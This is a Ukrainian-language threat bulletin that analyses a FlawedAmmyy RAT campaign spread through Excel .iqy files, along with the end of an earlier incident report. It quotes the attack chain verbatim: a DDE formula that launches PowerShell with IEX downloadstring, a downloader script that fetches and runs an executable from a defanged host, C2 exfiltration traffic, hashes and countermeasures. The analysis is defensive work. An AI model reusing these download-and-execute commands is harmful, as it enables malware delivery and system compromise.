Трафік інфікованої системи:

svchost.exe 2948 TCP   216.239.32.21    80     ESTABLISHED

svchost.exe 2948 TCP   200.111.167.227 449   ESTABLISHED

svchost.exe 2948 TCP   91.223.19.232    80     ESTABLISHED

svchost.exe 2948 TCP   37.230.113.54    447   ESTABLISHED

svchost.exe 2948 TCP   200.111.167.227 449   ESTABLISHED

svchost.exe 2948 TCP   65.30.201.40      443   SYN_SENT

Передача інформації про інфіковану систему:

188.124.167.132:8082         POST /ser0611/hostname_UID HTTP/1.1 test

А тепер саме головне – яку інформацію отримують нападники:

POST /ser0611/APM11_W617601.66340B99AFAFEB9431CE688A2D6B8FF8/90 HTTP/1.1

Content-Type: multipart/form-data; boundary=Arasfjasu7

User-Agent: test

Host: 188.124.167.132:8082

Content-Length: 4941

Cache-Control: no-cache

–Arasfjasu7

Content-Disposition: form-data; name=”proclist”

 

***PROCESS LIST***

[System Process]

System

smss.exe

csrss.exe

wininit.exe

csrss.exe

winlogon.exe

services.exe

lsass.exe

lsm.exe

–Arasfjasu7

Content-Disposition: form-data; name=”sysinfo”

 

***SYSTEMINFO***

Host Name – APM11

OS Name – Microsoft Windows 7 ……………………..

OS Version – Service Pack 1

OS Architecture – 64-bit

Product Type – Workstation

Build Type – Multiprocessor Free

Registered Owner – operator

Registered Organization –

Serial Number – 55041-007-1767687-86688

Install Date – 30/12/1899 00.00.00

Last Boot Up Time – 30/12/1899 00.00.00

Windows Directory – C:\Windows

System Directory – C:\Windows\system32

Boot Device – \Device\HarddiskVolume1

Total Physical Memory – 3651 Mb

Available Physical Memory – 3651 Mb

/c ipconfig /all

Ethernet adapter eth0:

….

/c net config workstation

…… ………………..                                \\APM11

………… …… ………………..                         APM11

…… ……………………                              operator

/c net view /all

.. ………… …… ……………….

/c net view /all /domain

.. ………… …… ……………….

/c nltest /domain_trusts

…. ………….. …………………. ………….. …………: Status = 1717 0x6b5 RPC_S_UNKNOWN_IF

/c nltest /domain_trusts /all_trusts

…. ………….. …………………. ………….. …………: Status = 1717 0x6b5 RPC_S_UNKNOWN_IF

–Arasfjasu7–

Контрзаходи:

  • Перевірка журналів мережевого обладнання на наявність з’єднань із С2
  • Блокування несанкціонованої доставки запускних на рівні Web та Email шлюзів
  • Перевірка каталогів
    • %temp%\Oeuin_r.exe
    • %temp%\wcwwirbmn.bat
    • %appdata%\coplane\Oeuin_s.exe
  • Перевірка планувальника системи на наявність задачі \MsWinToken         c:\users\%жертва%\appdata\roaming\coplane\oeuin_s.exe
  • По можливості – відмова від макросів
  • Заборона запуску дочірніх процесів для додатків MS Office, mshta.exe, powershell та cmd – користувацьке правило Access Protection (McAfee ENS)
  • Заборона специфічного виклику PowerShell та виконання кодованих команд – нагадую про вбудовані можливості McAfee ENS – правила Access Protection
  • Заборона мережевої активності для PowerShell – правило вбудованого брандмауеру (по аналогії з варіант1)
  • Моніторинг (хоча б) та\або блокування створення (або хоча би запуску) нових *.EXE файлів у каталогах C:\Users\**\
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

IOC_FlawedAmmyyRAT_070618

Доброго вечора, панове.

Сьогодні була зафіксована спроба інфікування #FlawedAmmyy (RAT).

Ми вже розглядали схожий зразок 25.05.18

Зверніть увагу! Новий трюк для обходу фільтрів

Цього разу для розповсюдження застосували excel web query file (.iqy) із посиланням на ресурс

# FlawedAmmyy застосовується для віддаленого керування інфікованими системами.

Рівень загрози, для організацій котрі не контролюють PowerShell та створення .exe, – високий.

А для тих, хто уважно читає наші поради – низький.

Трохи аналітики:

  • Сервер, що розповсюджує частини malware досі активний
  • .iqy та блокування GET запитів дають низький рейт приманки на VT
  • Перші 2 кроки залучають Excel та PowerShell для завантаження і запуску проміжного downloader`а
  • Шлях та ім’я з яким записується і запускається downloader чітко вказані (not random)
  • Файл downloader’а та основної частини не кодований (!This program cannot be run in DOS mode.)
  • Файл downloader’а має дійсний цифровий підпис #valid Comodo code signing certificate, serial: ‎00 fe 83 cb 39 3a 8f 1d 5e d0 15 3e a2 fa ce 24 36
  • %temp% \ cmd_.exe – downloader
  • C:\Program Data\Settings\wsus.exe – payload
  • Прав Адміністратора не потребує
  • По при цікавий підхід, нічого нового. Не варто боятися. Дивіться блок Контрзаходи

І так, проблеми будуть у тих, хто:

  • Не заборонили передачу команд cmd > powershell (більше 50% організацій)
  • Не заборонили завантаження через powershell (більше 50% організацій)
  • Не заборонили мережевий трафік для powershell (більше 50% організацій)
  • На блокують завантаження додатків з робочих систем (50% організацій)
  • Не блокують створення та запуск нових .exe з каталогів C:\Users\**\*.exe (70% установ)

 Схема атаки:

Email attach (.iqy) > URL > excel dde > cmd > powershell > %temp%\cmd_.exe

h11p://thespecsupportservice{.} com

#1    excel         /duo.dat     (ps command-1)

#2    powershell  /uno.dat     (ps command-2)

#3    powershell  /dr.png      (exe-1, downloader)

#4    cmd_.exe   /load.png   (exe-2, RAT)


Маркери IOC:

SHA-256        28d391bf7aa72d59a387bfaba099d9e176ee976959a4f99b8d04dbeef75e76b5
File name   sale_30_2726192.iqy (Order_9852340015894_07062018.iqy або Purchase_2603683074_07062018.iqy)
File size      69 B

#1 thespecsupportservice{.} com     POST /duo.dat  Mozilla/4.0

зміст:

=cmd|’ /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

-nop -NoExit -c IEX ((new-object net.webclient).

downloadstring(\”h11p://thespecsupportservice{.} com/uno.dat\”))’!A0

#2 thespecsupportservice{.} com     GET /uno.dat

зміст:

$urls = “h11p://thespecsupportservice{.} com/dr.png”,””

foreach($url in $urls){

Try

{

        Write-Host $url   

        $fp = “$env:temp\cmd_.exe”

        Write-Host $fp

        $wc = New-Object System.Net.WebClient

        $wc.DownloadFile($url, $fp)

        Start-Process $fp

        break

}

Catch

{

#3 thespecsupportservice{.} com     /dr.png

SHA-256        7f9cedd1b67cd61ba68d3536ee67efc1140bdf790b02da7aab4e5657bf48bb6f
File name   dr.png >> cmd_.exe
File size      178.97 KB
Проміжний downloader, завантажує останню частину – основний модуль

#4 thespecsupportservice{.} com     /load.png

SHA-256    ba8ed406005064fdffc3e00a233ae1e1fb315ffdc70996f6f983127a7f484e99
File name   DBhFVevZa.exe >> wsus.exe
File size      651.47 KB

Відкриває з’єднання із С2

Активність по процесам:

"C:\PROGRA~2\MICROS~1\Office12\EXCEL.EXE" /e
C:\Windows\SysWOW64\CMD.EXE CMD.EXE  /c C:\Windows\System32\WindowsPowerShell\v1.0\
powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).
downloadstring(\"http://thespecsupportservice{.} com/uno.dat\"))
C:\Windows\System32\WindowsPowerShell\v1.0\
powershell.exe  -nop -NoExit -c IEX ((new-object net.webclient).
downloadstring(\"http://thespecsupportservice{.} com/uno.dat\"))
"C:\tmp\cmd_.exe"

"C:\Windows\System32\cmd.exe" /C net.exe stop ammyy
C:\Windows\SysWOW64\net.exe C:\Windows\system32\net1  stop ammyy
"C:\Windows\System32\cmd.exe" /C sc delete ammyy
"C:\Windows\System32\cmd.exe" /C net.exe stop foundation
"C:\Windows\System32\cmd.exe" /C sc delete foundation

C:\ProgramData\Settings\wsus.exe
"C:\Windows\system32\cmd.exe"
C:\Windows\SysWOW64\net.exe
C:\Windows\system32\net1  user /domain
C:\Windows\SysWOW64\nslookup.exe
C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del C:\tmp\cmd_.exe >> NUL
"C:\Windows\system32\cmd.exe" /c del C:\tmp\cmd_.exe >> NUL

Закріплення через планувальник задач:

\Microsoft Window Center zivLFKKY SynapticosSoft, Corporation. c:\programdata\settings\wsus.exe 06.06.2018 21:27

Мережеві IOC:

Завантаження проміжного та основного тіла:

95.213.251.149   thespecsupportservice{.} com       POST /duo.dat Mozilla/4.0   (application/x-www-form-urlencoded)
95.213.251.149   thespecsupportservice{.} com       GET /uno.dat 
95.213.251.149   thespecsupportservice{.} com       GET /dr.png 
5.213.251.149    thespecsupportservice{.} com       GET /load.png 

Трафік інфікованої системи:

wsus.exe    2096 TCP   103.208.86.140   80     ESTABLISHED                                                                            
wsus.exe    2096 TCP   103.208.86.140   80     ESTABLISHED            

Контрзаходи:

  • Перевірка журналів мережевого обладнання на наявність з’єднань із С2
  • Блокування доставки запускних на рівні Web та Email шлюзів
  • Заборона запуску дочірніх процесів для додатків MS Office, mshta.exe, powershell та cmd – користувацьке правило Access Protection (McAfee ENS)
  • Заборона специфічного виклику PowerShell та виконання кодованих команд – нагадую про вбудовані можливості McAfee ENS – правила Access Protection
  • Заборона мережевої активності для PowerShell – правило вбудованого брандмауеру (по аналогії з варіант1)
  • Моніторинг (хоча б) та\або блокування створення (або хоча би запуску) нових *.EXE файлів у каталогах C:\Users\**\ – дозволить упередити копіювання файлів JRE
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR